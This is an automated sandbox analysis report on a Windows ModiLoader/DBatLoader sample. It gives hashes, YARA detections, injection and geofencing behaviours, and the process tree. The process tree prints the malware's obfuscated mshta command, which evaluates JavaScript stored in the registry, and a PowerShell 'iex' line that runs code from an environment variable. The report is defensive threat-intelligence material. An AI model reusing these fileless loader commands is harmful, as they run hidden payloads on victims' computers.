Analysis
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max time kernel
141s -
max time network
125s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
06-05-2024 03:29
Static task
static1
Behavioral task
behavioral1
Sample
1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
Resource
win10v2004-20240419-en
General
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Target
1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe
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Size
351KB
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MD5
1a8c3623227981e5a96519fe61794f0a
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SHA1
f4802ea4219b8390cdc42807a1978938f496f77a
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SHA256
1005d9d3469a17cc91a918db63400dff5cc84be4502e7c11cf23aff4a7360347
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SHA512
ec07cfced471672bedb9a2a1badeba41ee82bce112b14a4307410eac7cdba5eab80073a353cd7d4223b235677edaac7899b56005add95bf37e56972b18523104
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SSDEEP
6144:TkACKOiqtzQijxcUm1BDuGNOqLwKZpAVYmjhV95u4Bv8rmfs82rqirljz:4JjxG1lbNOTbCm9z5u4mrus8PirF
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3216 468 mshta.exe -
ModiLoader Second Stage 10 IoCs
Processes:
resource yara_rule behavioral2/memory/4088-2-0x0000000000400000-0x000000000043C000-memory.dmp modiloader_stage2 behavioral2/memory/4088-4-0x0000000000400000-0x000000000043C000-memory.dmp modiloader_stage2 behavioral2/memory/4088-5-0x0000000000400000-0x000000000043C000-memory.dmp modiloader_stage2 behavioral2/memory/4088-10-0x0000000000890000-0x000000000096A000-memory.dmp modiloader_stage2 behavioral2/memory/4088-9-0x0000000000890000-0x000000000096A000-memory.dmp modiloader_stage2 behavioral2/memory/4088-8-0x0000000000890000-0x000000000096A000-memory.dmp modiloader_stage2 behavioral2/memory/4088-7-0x0000000000890000-0x000000000096A000-memory.dmp modiloader_stage2 behavioral2/memory/4088-6-0x0000000000890000-0x000000000096A000-memory.dmp modiloader_stage2 behavioral2/memory/4088-11-0x0000000000890000-0x000000000096A000-memory.dmp modiloader_stage2 behavioral2/memory/4088-12-0x0000000000890000-0x000000000096A000-memory.dmp modiloader_stage2 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exedescription pid process target process PID 1952 set thread context of 4088 1952 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2080 powershell.exe 2080 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2080 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exepid process 1952 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 14 IoCs
Processes:
1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exemshta.exedescription pid process target process PID 1952 wrote to memory of 4088 1952 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe PID 1952 wrote to memory of 4088 1952 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe PID 1952 wrote to memory of 4088 1952 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe PID 1952 wrote to memory of 4088 1952 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe PID 1952 wrote to memory of 4088 1952 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe PID 1952 wrote to memory of 4088 1952 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe PID 1952 wrote to memory of 4088 1952 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe PID 1952 wrote to memory of 4088 1952 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe PID 1952 wrote to memory of 4088 1952 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe PID 1952 wrote to memory of 4088 1952 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe PID 1952 wrote to memory of 4088 1952 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe 1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe PID 3216 wrote to memory of 2080 3216 mshta.exe powershell.exe PID 3216 wrote to memory of 2080 3216 mshta.exe powershell.exe PID 3216 wrote to memory of 2080 3216 mshta.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1952 -
C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\1a8c3623227981e5a96519fe61794f0a_JaffaCakes118.exe"2⤵PID:4088
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:jbsknT3="W5ULKwM3";Ka9=new%20ActiveXObject("WScript.Shell");iLPgX1p="q";r0wEU=Ka9.RegRead("HKCU\\software\\IpPBcK\\DdP2HHfX8W");Qto0f="c6lzhmtu";eval(r0wEU);Jk0qE7Yqa="iZoJ4";1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3216 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:zhhzlyb2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2080
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82